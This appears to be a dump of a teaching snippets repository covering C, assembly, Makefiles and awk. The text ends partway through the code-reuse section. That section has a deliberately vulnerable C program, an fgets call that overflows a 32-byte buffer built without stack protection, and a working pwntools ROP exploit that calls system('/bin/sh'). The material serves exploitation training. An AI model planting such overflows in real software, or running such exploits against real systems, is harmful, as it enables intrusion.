├── .gitignore ├── asm └── cpuid.c ├── awk ├── a.txt ├── awk-getline-file.bash └── awk-matrix.bash ├── basic ├── asm │ ├── all.mk │ ├── common.mk │ ├── empty-all │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── empty.asm │ │ └── empty_32.asm │ └── empty │ │ ├── .gitignore │ │ ├── Makefile │ │ └── empty.asm └── c │ ├── all.mk │ ├── common.mk │ ├── empty-all │ ├── .gitignore │ ├── Makefile │ └── empty.c │ └── empty │ ├── .gitignore │ ├── Makefile │ ├── Makefile2 │ └── empty.c ├── bits ├── .gitignore ├── Makefile └── page_size.c ├── boot_hello ├── .gitignore ├── Makefile ├── README ├── boot_hello.s ├── editvm.png └── floppy.png ├── casts ├── .gitignore ├── Makefile └── casts.c ├── code-reuse ├── sh-not-present │ ├── Makefile │ ├── README.md │ ├── exploit.py │ ├── vuln │ └── vuln.c ├── system-and-sh-present │ ├── Makefile │ ├── exploit.py │ ├── vuln │ └── vuln.c └── system-sh-present │ ├── Makefile │ ├── exploit.py │ ├── vuln │ └── vuln.c ├── config ├── bash │ ├── bash_aliases │ ├── bash_aliases_deploy │ ├── bash_aliases_deploy_systemd │ └── bash_aliases_no_ssh ├── config-tools ├── cssh │ └── clusters ├── emacs │ ├── emacs-to-deploy-bbdb.el │ ├── emacs-to-deploy-nox.el │ ├── emacs-to-deploy.el │ ├── emacs.el │ ├── ercrc.el │ └── gnus.el ├── email │ ├── README.md │ ├── authinfo │ ├── mbsyncrc │ ├── msmtprc │ └── mutt_oauth2.py ├── gitignore ├── ssh │ └── config ├── tmux │ ├── tmux_basic.conf │ ├── tmux_debian.conf │ └── tmux_default.conf └── vim │ ├── ftplugin │ ├── asm.vim │ ├── css.vim │ ├── html.vim │ ├── java.vim │ ├── javascript.vim │ ├── json.vim │ ├── python.vim │ ├── sh.vim │ ├── tex.vim │ ├── text.vim │ └── wiki.vim │ ├── vimrc │ ├── vimrc_iOS │ ├── vimrc_no_cscope │ ├── vimrc_no_global_vimrc │ └── vimrc_no_global_vimrc_no_cscope ├── conv ├── .gitignore ├── creole2redmine.sed ├── diacritics.sed ├── import-mysql-utf8 ├── mdlxml2txt ├── media2creole.sed ├── sqlite2mysql.sed └── trac2creole.sed ├── copy-on-write ├── Makefile ├── README └── copy-on-write.c ├── cpp-c ├── .gitignore ├── Makefile ├── add.c ├── add.h └── test.cpp ├── cron ├── backup-to-disk ├── backup-to-titan ├── run-offlineimap └── run-torrent ├── crypt ├── .gitignore ├── Makefile ├── gen-passwd ├── my_crypt.c ├── my_crypt.py └── my_crypt.sh ├── ctf ├── .gitignore ├── Makefile └── shellcode-samples.c ├── debian ├── checksec.sh ├── cli-minimal-debian-install ├── cloud-dev-install ├── cloud-os-setup ├── config-cmdline-precis ├── configure-default-apps ├── disable-bluetooth ├── do-hibernate ├── enable-huawei-12d1:14fe ├── enable-huawei-12d1:15ca ├── fw-update ├── get-battery-info ├── gui-minimal-debian-install ├── my-debian-install ├── my-hibernate ├── restore-vboxnet0 ├── restore-wireless-network ├── screen-clone ├── screen-extended ├── screen-only-laptop ├── setup-wired-hotspot ├── setup-wireless-hotspot ├── setup-wireless-hotspot-ok ├── start-vmplayer ├── system-clean ├── system-update └── ubuntu-18.04-packages.lst ├── debug ├── GNUmakefile ├── Makefile ├── debug.h └── test-debug.c ├── diacritics ├── cedilla_comma_bellow.txt └── ro_diacritics.txt ├── dlopen └── dlopen-pie │ ├── .gitignore │ ├── Makefile │ ├── README │ ├── dlopen.c │ └── test.c ├── docker └── helloworld │ ├── Dockerfile.gcc-12 │ ├── Dockerfile.gcc-13 │ ├── Dockerfile.static │ ├── Makefile │ ├── README.md │ └── helloworld.c ├── execve ├── .gitignore ├── Makefile └── execve_argv.c ├── expect ├── ssh-passphrase-expect-wrapper.exp ├── ssh-passphrase.exp ├── su-to-root.exp └── telnet-interact.exp ├── fedora ├── cli-extra-fedora-install ├── cli-minimal-fedora-install └── gui-minimal-fedora-install ├── gcov ├── .gitignore ├── Makefile ├── README.md ├── idea.c ├── idea.h └── sum_test.c ├── gdrive └── gdrive_download ├── geo-ip └── get_geo_location.sh ├── git └── so-hooks │ ├── hooks_config │ ├── labs-post-receive-hook │ ├── labs-tree │ ├── teme-post-receive-hook │ └── teme-tree ├── gnome └── keyring-extractor.py ├── got-plt ├── .gitignore ├── Makefile ├── README.md ├── basket.c ├── basket.h ├── main.c └── nostdlib │ ├── .gitignore │ ├── Makefile │ ├── basket.c │ ├── basket.h │ ├── main.c │ └── start.s ├── hard-links ├── .gitignore ├── Makefile ├── test-hard-link.c └── test-hard-link.sh ├── hash-time └── compute_hash.py ├── hello ├── .gitignore ├── Makefile ├── hello.c ├── hello_syscall.asm └── read_write_syscall.asm ├── html ├── adding-dynamic-input-fields │ ├── add-remove.js │ ├── index.html │ ├── jquery-1.10.2.min.js │ └── style.css └── dynamic-forms │ ├── dynamic-forms.css │ ├── dynamic-forms.html │ └── dynamic-forms.js ├── inc ├── Makefile └── inc.c ├── ios └── hello │ ├── .gitignore │ ├── Makefile │ └── hello.c ├── kernel ├── bio-bvec │ ├── .gitignore │ ├── Kbuild │ ├── Makefile │ ├── README.md │ └── bio-bvec.c ├── in4_pton │ ├── Kbuild │ ├── Makefile │ └── in4_pton.c ├── kernel-page-table-walk │ ├── .gitignore │ ├── Kbuild │ ├── Makefile │ ├── README.md │ └── kernel-page-table-walk.c └── kthread-access-userspace │ ├── Kbuild │ ├── Makefile │ ├── README.md │ └── kthread-user.c ├── latex ├── .gitignore ├── booktabs │ ├── .gitignore │ ├── Makefile │ └── booktabs.tex ├── slidenotes │ ├── .gitignore │ ├── README │ ├── metafiles │ │ ├── base.mk │ │ └── format │ │ │ ├── dualscreen.tex │ │ │ ├── handout-4on1-notes.tex │ │ │ ├── handout-8on1.tex │ │ │ ├── handout.tex │ │ │ └── notes.tex │ ├── sample │ │ ├── Makefile │ │ ├── code │ │ │ ├── .gitignore │ │ │ ├── Makefile │ │ │ └── cli-example.bash │ │ ├── img │ │ │ ├── .gitignore │ │ │ ├── Makefile │ │ │ ├── so.dia │ │ │ └── tty.png │ │ └── slides.tex │ └── sty │ │ ├── beamerthemeCurs.sty │ │ ├── curs.cls │ │ ├── handoutWithNotes.sty │ │ └── logo.png └── test │ ├── mytest.tex │ ├── test.tex │ └── test_pdf.tex ├── mac2host ├── mac2host │ ├── hostbymac.awk │ ├── mac2hostname │ ├── print-users.awk │ └── sample.conf └── upload │ └── uploadmac ├── macros └── safe-typechecking.c ├── mail └── list-sent-messages ├── media ├── create-image-with-text └── create-movie-from-image ├── mem-usage ├── .gitignore ├── Makefile └── mem-free.c ├── mlock ├── .gitignore ├── Makefile └── mlock.c ├── mmap ├── .gitignore ├── Makefile ├── a.sh ├── dual-mapping.c ├── mmap-duration.c ├── mmap-ftruncate.c ├── mmap-overalloc.c └── mmap.c ├── msys ├── Makefile ├── README └── hello.c ├── nasm ├── .gitignore ├── Makefile ├── flags.asm ├── function_calls_linux.asm ├── function_calls_windows.asm ├── hello.asm └── hello_x86_64.asm ├── netns ├── .gitignore ├── README.md ├── create_namespace.sh ├── remove_namespace.sh └── run_tcpdump.sh ├── nostdlib ├── .gitignore ├── Makefile ├── main.s └── start.s ├── parsing └── join.py ├── pcap ├── Makefile └── pcap_test.c ├── permutations ├── .gitignore ├── Makefile └── permutations.c ├── php └── test_ip.php ├── play-scripts └── aj-wants-to-go-laser.bash ├── plots ├── README.md ├── input.csv ├── processed.csv ├── scatter.png ├── so-2024-2025-lecturer-eval.py └── violin.png ├── process ├── .gitignore ├── Makefile └── proc-self.c ├── ptr ├── Makefile └── ptr.c ├── pwntools ├── Makefile ├── code-reuse ├── exploit.py ├── exploit3.py ├── get_offset.py ├── get_offset_32.py ├── in-out │ ├── .gitignore │ ├── Makefile │ ├── ex.py │ └── test.c ├── stack-pivot ├── vuln ├── vuln.c ├── vuln_32 ├── vuln_pie ├── vuln_static └── vuln_stripped ├── readme ├── README.ctf.md └── README.so2.md ├── repoctl └── git-initial-commit ├── rsync └── rsync-from-mamba ├── ruby ├── test-ldap-2.rb └── test-ldap.rb ├── rust ├── .gitignore ├── Cargo.toml ├── Makefile └── hello.rs ├── sed ├── .gitignore ├── README ├── insert-at-line └── test.txt ├── setuid ├── .gitignore ├── Makefile └── setuid-test.c ├── signal ├── Makefile └── sigchld.c ├── signed-unsigned ├── .gitignore ├── Makefile ├── signed-unsigned-representation.c └── signed-unsigned.c ├── sock ├── debug.h ├── http_reply_once.c ├── sock_util.c ├── sock_util.h └── util.h ├── ssh ├── add-public-ssh ├── ssh-accounts.txt ├── ssh-extra-accounts.txt └── test-ssh-accounts ├── ssl-dev └── ed25519 │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── ed25519.c │ ├── gen_ed25519.c │ ├── measure.h │ ├── run │ ├── sign_ed25519.c │ └── verify_ed25519.c ├── ssl ├── ca_sign ├── create_csr ├── create_key └── create_self_signed ├── stack-pivot ├── Makefile ├── exploit.py ├── vuln └── vuln.c ├── stack-protector ├── .gitignore ├── Makefile └── stack-smash.c ├── stack-underflow ├── .gitignore ├── Makefile ├── README.md └── stack-underflow.c ├── stack_access ├── .gitignore ├── Makefile └── stack_access.asm ├── stack_ovfl ├── Makefile ├── fun_hack.c └── stack_ovfl.c ├── static ├── Makefile └── ld_static_test.c ├── swf-scripts └── mypdf2swf ├── tests ├── .gitignore ├── Makefile ├── badfd.c ├── bswap │ ├── .gitignore │ ├── Makefile │ ├── README.md │ └── bswap.c ├── endian.c ├── free-syscall.c ├── func-address.c ├── getopt_long.c ├── main-stack.c ├── measure_time.c ├── mmap-shared.c ├── platform.c ├── print-buffer.c ├── stack_grow.c ├── struct_bit.c ├── tcp_new_sock.c └── test-fork-zombie.c ├── thread-vs-process ├── .gitignore ├── Makefile └── thread-vs-process.c ├── threads ├── .gitignore ├── Makefile ├── thread-memory-use-before-after-detach.c ├── thread-memory-use-before-after.c └── use-__thread.c ├── timer ├── .gitignore ├── Makefile └── timer.c ├── vmchecker ├── hello │ ├── .gitignore │ ├── Makefile │ └── hello.c ├── linux-build └── linux-run └── win-lib ├── dll-call-from-outside ├── Makefile ├── external.c ├── external.h ├── internal.c ├── internal.h ├── main.c └── spec.h └── dll-std-fd ├── Makefile ├── internal.c ├── internal.h ├── main.c └── spec.h /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.o 3 | a.out 4 | *.zip 5 | *.rar 6 | *gz 7 | *bz2 8 | *.obj 9 | *.a 10 | *.so 11 | *.lib 12 | *.dll 13 | *.swp 14 | *.swo 15 | tags 16 | TAGS 17 | *.exe 18 | *.class 19 | *.jar 20 | *.pyc 21 | .gdb_history 22 | peda-session-*.txt 23 | core 24 | -------------------------------------------------------------------------------- /asm/cpuid.c: -------------------------------------------------------------------------------- 1 | /* 2 | * cpuid.c: C program using inline assembly for using cpuid instruction 3 | * 4 | * 2006 Razvan Deaconescu 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | int main (void) 12 | { 13 | unsigned int eax, ebx, ecx, edx; 14 | char buf[32]; 15 | 16 | __asm__ __volatile__ ( 17 | "movl $0, %%eax ;\n" 18 | "cpuid ;\n" 19 | "movl %%eax, %0 ;\n" 20 | "movl %%ebx, %1 ;\n" 21 | "movl %%ecx, %2 ;\n" 22 | "movl %%edx, %3 ;\n" 23 | : "=g" (eax), "=g" (ebx), "=g" (ecx), "=g" (edx) 24 | : 25 | : "eax", "ebx", "ecx", "edx" 26 | ); 27 | 28 | memcpy (buf, &ebx, 4); 29 | memcpy (buf+4, &edx, 4); 30 | memcpy (buf+8, &ecx, 4); 31 | buf[12] = '\0'; 32 | 33 | printf ("maximum input value for cpuid: %u\n", eax); 34 | printf ("cpu: %s\n", buf); 35 | 36 | __asm__ __volatile__ ( 37 | "movl $1, %%eax ;\n" 38 | "cpuid ;\n" 39 | "movl %%eax, %0 ;\n" 40 | "movl %%ebx, %1 ;\n" 41 | "movl %%ecx, %2 ;\n" 42 | "movl %%edx, %3 ;\n" 43 | : "=g" (eax), "=g" (ebx), "=g" (ecx), "=g" (edx) 44 | : 45 | : "eax", "ebx", "ecx", "edx" 46 | ); 47 | 48 | printf ("eax: %08x\tebx: %08x\tecx: %08x\tedx: %08x\n", eax, ebx, ecx, edx); 49 | 50 | return 0; 51 | } 52 | 53 | -------------------------------------------------------------------------------- /awk/a.txt: -------------------------------------------------------------------------------- 1 | a 2 | b 3 | b 4 | c 5 | c 6 | c 7 | d 8 | d 9 | d 10 | d 11 | e 12 | e 13 | e 14 | e 15 | e 16 | f 17 | f 18 | f 19 | f 20 | f 21 | f 22 | f 23 | g 24 | g 25 | g 26 | g 27 | g 28 | g 29 | g 30 | h 31 | h 32 | h 33 | h 34 | h 35 | h 36 | h 37 | h 38 | i 39 | i 40 | i 41 | i 42 | i 43 | i 44 | i 45 | i 46 | i 47 | -------------------------------------------------------------------------------- /awk/awk-getline-file.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | awk -F ' ' ' 4 | BEGIN { 5 | while (1) { 6 | if ((getline < "a.txt") == 0) 7 | break; 8 | print $0; 9 | } 10 | close("a.txt"); 11 | } 12 | ' 13 | -------------------------------------------------------------------------------- /awk/awk-matrix.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if test $# -ne 1; then 4 | echo "Usage: $0 input-file" 1>&2 5 | exit 1 6 | fi 7 | 8 | cat $1 | awk -F ' ' -v len=3 ' 9 | BEGIN { 10 | for (i = 0; i < len; i++) 11 | for (j = 0; j < len; j++) 12 | arr[i,j] = 0; 13 | } 14 | { 15 | if ($1 == "a") 16 | arr[0,0]++; 17 | else if ($1 == "b") 18 | arr[0,1]++; 19 | else if ($1 == "c") 20 | arr[0,2]++; 21 | else if ($1 == "d") 22 | arr[1,0]++; 23 | else if ($1 == "e") 24 | arr[1,1]++; 25 | else if ($1 == "f") 26 | arr[1,2]++; 27 | else if ($1 == "g") 28 | arr[2,0]++; 29 | else if ($1 == "h") 30 | arr[2,1]++; 31 | else if ($1 == "i") 32 | arr[2,2]++; 33 | } 34 | END { 35 | for (i = 0; i < len; i++) { 36 | for (j = 0; j < len; j++) 37 | printf "%d ", arr[i,j]; 38 | printf "\n"; 39 | } 40 | }' 41 | -------------------------------------------------------------------------------- /basic/asm/all.mk: -------------------------------------------------------------------------------- 1 | AS = nasm 2 | ASFLAGS = -f elf64 3 | ASFLAGS_32 = -f elf32 4 | LDFLAGS = -pie -dynamic 5 | LDFLAGS_32 = -m32 -pie -dynamic 6 | LDFLAGS_NOPIE = -no-pie -dynamic 7 | LDFLAGS_32_NOPIE = -m32 -no-pie -dynamic 8 | LDFLAGS_STATIC = -no-pie -static 9 | LDFLAGS_32_STATIC = -m32 -no-pie -static 10 | 11 | OBJS = $(SRCS:.asm=.o) \ 12 | $(SRCS:.asm=_32.o) \ 13 | $(SRCS:.asm=_nopie.o) \ 14 | $(SRCS:.asm=_32_nopie.o) \ 15 | $(SRCS:.asm=_static.o) \ 16 | $(SRCS:.asm=_32_static.o) \ 17 | 18 | BINS = $(OBJS:.o=) 19 | 20 | 21 | .PHONY: all clean 22 | 23 | all: $(BINS) 24 | 25 | %_32_static: %_32_static.o 26 | $(CC) $(LDFLAGS_32_STATIC) -o $@ $^ 27 | 28 | %_32_static.o: %_32.asm 29 | $(AS) $(ASFLAGS_32) -o $@ $< 30 | 31 | %_static: %_static.o 32 | $(CC) $(LDFLAGS_STATIC) -o $@ $^ 33 | 34 | %_static.o: %.asm 35 | $(AS) $(ASFLAGS) -o $@ $< 36 | 37 | %_32_nopie: %_32_nopie.o 38 | $(CC) $(LDFLAGS_32_NOPIE) -o $@ $^ 39 | 40 | %_32_nopie.o: %_32.asm 41 | $(AS) $(ASFLAGS_32) -o $@ $< 42 | 43 | %_nopie: %_nopie.o 44 | $(CC) $(LDFLAGS_NOPIE) -o $@ $^ 45 | 46 | %_nopie.o: %.asm 47 | $(AS) $(ASFLAGS) -o $@ $< 48 | 49 | %_32: %_32.o 50 | $(CC) $(LDFLAGS_32) -o $@ $^ 51 | 52 | %_32.o: %_32.asm 53 | $(AS) $(ASFLAGS_32) -o $@ $< 54 | 55 | $(SRCS:.asm=): %: %.o 56 | $(CC) $(LDFLAGS) -o $@ $^ 57 | 58 | %.o: %.asm 59 | $(AS) $(ASFLAGS) -o $@ $< 60 | 61 | clean: 62 | -rm -f *~ 63 | -rm -f $(BINS) 64 | -rm -f $(OBJS) 65 | -------------------------------------------------------------------------------- /basic/asm/common.mk: -------------------------------------------------------------------------------- 1 | AS = nasm 2 | ASFLAGS ?= -f elf32 3 | LDFLAGS ?= -m32 -no-pie 4 | 5 | OBJS = $(SRCS:.asm=.o) 6 | BINS = $(SRCS:.asm=) 7 | 8 | .PHONY: all clean 9 | 10 | all: $(BINS) 11 | 12 | $(BINS): %: %.o 13 | 14 | $(OBJS): %.o: %.asm 15 | $(AS) $(ASFLAGS) -o $@ $< 16 | 17 | clean: 18 | -rm -f *~ 19 | -rm -f $(OBJS) 20 | -rm -f $(BINS) 21 | -------------------------------------------------------------------------------- /basic/asm/empty-all/.gitignore: -------------------------------------------------------------------------------- 1 | /empty 2 | /empty_32 3 | /empty_32_nopie 4 | /empty_32_static 5 | /empty_nopie 6 | /empty_static 7 | -------------------------------------------------------------------------------- /basic/asm/empty-all/Makefile: -------------------------------------------------------------------------------- 1 | SRCS = empty.asm 2 | 3 | include ../all.mk 4 | -------------------------------------------------------------------------------- /basic/asm/empty-all/empty.asm: -------------------------------------------------------------------------------- 1 | section .text 2 | 3 | global main 4 | 5 | main: 6 | push rbp 7 | mov rbp, rsp 8 | 9 | xor rax, rax 10 | 11 | leave 12 | ret 13 | -------------------------------------------------------------------------------- /basic/asm/empty-all/empty_32.asm: -------------------------------------------------------------------------------- 1 | section .text 2 | 3 | global main 4 | 5 | main: 6 | push ebp 7 | mov ebp, esp 8 | 9 | xor eax, eax 10 | 11 | leave 12 | ret 13 | -------------------------------------------------------------------------------- /basic/asm/empty/.gitignore: -------------------------------------------------------------------------------- 1 | /empty 2 | -------------------------------------------------------------------------------- /basic/asm/empty/Makefile: -------------------------------------------------------------------------------- 1 | SRCS = empty.asm 2 | 3 | include ../common.mk 4 | -------------------------------------------------------------------------------- /basic/asm/empty/empty.asm: -------------------------------------------------------------------------------- 1 | section .text 2 | 3 | global main 4 | 5 | main: 6 | push ebp 7 | mov ebp, esp 8 | 9 | xor eax, eax 10 | 11 | leave 12 | ret 13 | -------------------------------------------------------------------------------- /basic/c/common.mk: -------------------------------------------------------------------------------- 1 | CFLAGS ?= -Wall 2 | OBJS = $(SRCS:.c=.o) 3 | BINS = $(OBJS:.o=) 4 | 5 | .PHONY: all clean 6 | 7 | all: $(BINS) 8 | 9 | $(BINS): %: %.o 10 | 11 | $(OBJS): %.o: %.c 12 | 13 | clean: 14 | -rm -f *~ 15 | -rm -f $(BINS) $(OBJS) 16 | -------------------------------------------------------------------------------- /basic/c/empty-all/.gitignore: -------------------------------------------------------------------------------- 1 | /empty 2 | /empty_32 3 | /empty_32_nopie 4 | /empty_32_nossp 5 | /empty_32_nossp_nopie 6 | /empty_32_nossp_static 7 | /empty_32_static 8 | /empty_nopie 9 | /empty_nossp 10 | /empty_nossp_nopie 11 | /empty_nossp_static 12 | /empty_static 13 | -------------------------------------------------------------------------------- /basic/c/empty-all/Makefile: -------------------------------------------------------------------------------- 1 | SRCS = empty.c 2 | 3 | include ../all.mk 4 | -------------------------------------------------------------------------------- /basic/c/empty-all/empty.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | return 0; 4 | } 5 | -------------------------------------------------------------------------------- /basic/c/empty/.gitignore: -------------------------------------------------------------------------------- 1 | /empty 2 | -------------------------------------------------------------------------------- /basic/c/empty/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall 2 | 3 | .PHONY: all clean 4 | 5 | all: empty 6 | 7 | empty: empty.o 8 | 9 | empty.o: empty.c 10 | 11 | clean: 12 | -rm -f *~ 13 | -rm -f empty empty.o 14 | -------------------------------------------------------------------------------- /basic/c/empty/Makefile2: -------------------------------------------------------------------------------- 1 | SRCS = empty.c 2 | 3 | include ../common.mk 4 | -------------------------------------------------------------------------------- /basic/c/empty/empty.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | return 0; 4 | } 5 | -------------------------------------------------------------------------------- /bits/.gitignore: -------------------------------------------------------------------------------- 1 | /page_size 2 | -------------------------------------------------------------------------------- /bits/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | all: page_size 4 | 5 | page_size: page_size.o 6 | 7 | .PHONY: clean 8 | 9 | clean: 10 | -rm -f *~ *.o page_size 11 | -------------------------------------------------------------------------------- /bits/page_size.c: -------------------------------------------------------------------------------- 1 | /* 2 | * power of two alignment macros 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #define PAGE_BITS_SIZE 12 10 | #define PAGE_ALIGN_MASK (((unsigned long)(-1L)) << PAGE_BITS_SIZE) 11 | #define PAGE_OFFSET_MASK (~(PAGE_ALIGN_MASK)) 12 | 13 | int main(void) 14 | { 15 | printf("page size: %d\n", PAGE_BITS_SIZE); 16 | printf("page align mask: 0x%0lx\n", PAGE_ALIGN_MASK); 17 | printf("page align mask: 0x%0lx\n", PAGE_OFFSET_MASK); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /boot_hello/.gitignore: -------------------------------------------------------------------------------- 1 | /bootcode 2 | /disk 3 | /hello.bin 4 | /hello.disk 5 | /hello.out 6 | -------------------------------------------------------------------------------- /boot_hello/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile cheat sheet 3 | # $< = name of dependency file 4 | # $@ = name of current target 5 | # 6 | 7 | BOOTADDR=0x7c00 # MBR is copied at adress 0x7c00 in RAM 8 | 9 | # Create 510 bytes zero filled disk 10 | # Create final bootable image 11 | hello.disk: hello.bin bootcode 12 | dd count=510 bs=1 if=/dev/zero of=disk 2> /dev/null 13 | dd conv=notrunc if=hello.bin of=disk 2> /dev/null 14 | cat disk bootcode > $@ 15 | @echo -e "\nYou may view the output file using\ 16 | \n\t$$ od -x hello.disk" 17 | 18 | # Creating stripped binary file 19 | hello.bin: hello.out 20 | objcopy -S -O binary $< $@ 21 | 22 | # Linking object file to executable (start point is _main) 23 | hello.out: boot_hello.o 24 | $(LD) -N -Ttext $(BOOTADDR) -e _main -o $@ $< 25 | 26 | # Create 2 byte file containing the bootcode (0x55aa) 27 | bootcode: 28 | /bin/echo -en "\x55\xaa" > $@ 29 | 30 | .PHONY: clean hello.disk 31 | 32 | clean: 33 | rm -f hello.disk hello.out hello.bin bootcode disk boot_hello.o *~ 34 | -------------------------------------------------------------------------------- /boot_hello/boot_hello.s: -------------------------------------------------------------------------------- 1 | .code16 # real mode - 16 bit compatibility mode 2 | 3 | # message to print 4 | msg: 5 | .ascii "Say hello to my little friend!" 6 | 7 | .globl _main # might as well use the default C start label 8 | _main: 9 | 10 | # all praises to Google :-D 11 | # http://www.emu8086.com/assembly_language_tutorial_assembler_reference/8086_bios_and_dos_interrupts.html#int10h_00h 12 | # http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax 13 | # http://linuxgazette.net/issue79/krishnakumar.html 14 | 15 | # set video mode - AH = 0x00 16 | # AL = 03h -> 80x25. 16 colors. 8 pages 17 | movb $0x13, %al 18 | movb $0x00, %ah 19 | int $0x10 20 | 21 | # show standard blinking cursor - AH = 0x01 22 | movb $6, %ch 23 | movb $7, %cl 24 | movb $0x01, %ah 25 | int $0x10 26 | 27 | # set cursor position - AH = 0x02 28 | # DH = row 29 | # DL = column 30 | # BH = page 31 | movb $5, %dh 32 | movb $10, %dl 33 | movb $0, %bh 34 | movb $0x02, %ah 35 | int $0x10 36 | 37 | # write character - AH = 0x0a 38 | # AL = character to write 39 | # BH = page number 40 | # CX = number of times to write the character 41 | movb $0x52, %al # because I'm a narcisistic bastard and 42 | # I love my initial :-) 43 | movb $0, %bh 44 | movw $10, %cx # print it 10 times 45 | movb $0x0a, %ah 46 | int $0x10 47 | 48 | # write string - AH = 0x13 49 | # AL = write mode (bit 0 - update cursor after writing) 50 | # BH = page number 51 | # BL = attribute 52 | # CX = number of characters in string 53 | # DH = row 54 | # DL = column 55 | # ES:BP = pointes to string to be printed 56 | movb $1, %al 57 | movb $0, %bh 58 | mov $0x0f, %bl # standard white on black 59 | movb $10, %dl 60 | movb $7, %dh 61 | movw $30, %cx # message length 62 | 63 | push %cs 64 | pop %es 65 | 66 | movw $msg, %bp 67 | 68 | movb $0x13, %ah 69 | int $0x10 70 | 71 | loop: 72 | nop 73 | nop 74 | nop 75 | jmp loop 76 | -------------------------------------------------------------------------------- /boot_hello/editvm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/boot_hello/editvm.png -------------------------------------------------------------------------------- /boot_hello/floppy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/boot_hello/floppy.png -------------------------------------------------------------------------------- /casts/.gitignore: -------------------------------------------------------------------------------- 1 | /casts 2 | -------------------------------------------------------------------------------- /casts/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: casts 6 | 7 | casts: casts.o 8 | 9 | casts.o: casts.c 10 | 11 | clean: 12 | -rm -f casts 13 | -rm -f *.o 14 | -rm -f *~ 15 | -------------------------------------------------------------------------------- /casts/casts.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | unsigned long long ull = 0x0000000012345678ULL; 7 | unsigned int ui = ull; 8 | 9 | printf("ull: %llu, ull (as unsigned int): %u\n", ull, ull); 10 | printf("ui: %u\n", ui); 11 | 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /code-reuse/sh-not-present/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -fno-PIC -Wno-unused-function -fno-stack-protector 2 | LDFLAGS = -no-pie 3 | 4 | .PHONY: all clean 5 | 6 | all: vuln 7 | 8 | vuln: vuln.o 9 | 10 | vuln.o: vuln.c 11 | 12 | clean: 13 | -rm -f vuln vuln.o 14 | -rm -f *~ 15 | -rm -f peda-session-* core 16 | -------------------------------------------------------------------------------- /code-reuse/sh-not-present/README.md: -------------------------------------------------------------------------------- 1 | Even if `system()` is present in the executable, we still need to find the address of `/bin/sh` in libc. And by doing that it becomes easy to also find the address of `system()` in libc. So we removed `system()` alltogether from the executable. 2 | -------------------------------------------------------------------------------- /code-reuse/sh-not-present/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/code-reuse/sh-not-present/vuln -------------------------------------------------------------------------------- /code-reuse/sh-not-present/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static void reader(void) 5 | { 6 | char buffer[32]; 7 | 8 | fgets(buffer, 128, stdin); 9 | } 10 | 11 | int main(void) 12 | { 13 | puts("Hello"); 14 | reader(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /code-reuse/system-and-sh-present/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -fno-PIC -Wno-unused-function -fno-stack-protector 2 | LDFLAGS = -no-pie 3 | 4 | .PHONY: all clean 5 | 6 | all: vuln 7 | 8 | vuln: vuln.o 9 | 10 | vuln.o: vuln.c 11 | 12 | clean: 13 | -rm -f vuln vuln.o 14 | -rm -f *~ 15 | -rm -f peda-session-* core 16 | -------------------------------------------------------------------------------- /code-reuse/system-and-sh-present/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | binary = "./vuln" 6 | context.binary = binary 7 | #context.log_level = "debug" 8 | 9 | e = ELF(binary) 10 | system_plt_address = e.plt["system"] + 4 # XXX 11 | sh_address = e.symbols["sh"] 12 | log.info("plt_address: 0x{:016x}".format(system_plt_address)) 13 | log.info("sh: 0x{:016x}".format(sh_address)) 14 | 15 | r = ROP(e) 16 | pop_rdi_ret = r.find_gadget(["pop rdi", "ret"]).address 17 | ret = r.find_gadget(["ret"]).address 18 | 19 | offset = 40 20 | 21 | # Add a ret gadget that does nothing helpful (it simply jumps to the next 22 | # address) to fix issue with stack alignment in do_system() for glibc 2.27: 23 | # => 0x7f14bef6c2f6 : movaps XMMWORD PTR [rsp+0x40],xmm0 24 | payload = offset * "A" + p64(ret) + p64(pop_rdi_ret) + p64(sh_address) + p64(system_plt_address) 25 | log.info("".join("\\x{:02x}".format(ord(i)) for i in payload)) 26 | 27 | io = process(binary) 28 | #gdb.attach(io) 29 | io.sendline(payload) 30 | io.interactive() 31 | -------------------------------------------------------------------------------- /code-reuse/system-and-sh-present/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/code-reuse/system-and-sh-present/vuln -------------------------------------------------------------------------------- /code-reuse/system-and-sh-present/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static const char sh[] = "/bin/sh"; 5 | 6 | static void hidden(void) 7 | { 8 | system("ls"); 9 | } 10 | 11 | static void reader(void) 12 | { 13 | char buffer[32]; 14 | 15 | fgets(buffer, 128, stdin); 16 | } 17 | 18 | int main(void) 19 | { 20 | reader(); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /code-reuse/system-sh-present/Makefile: 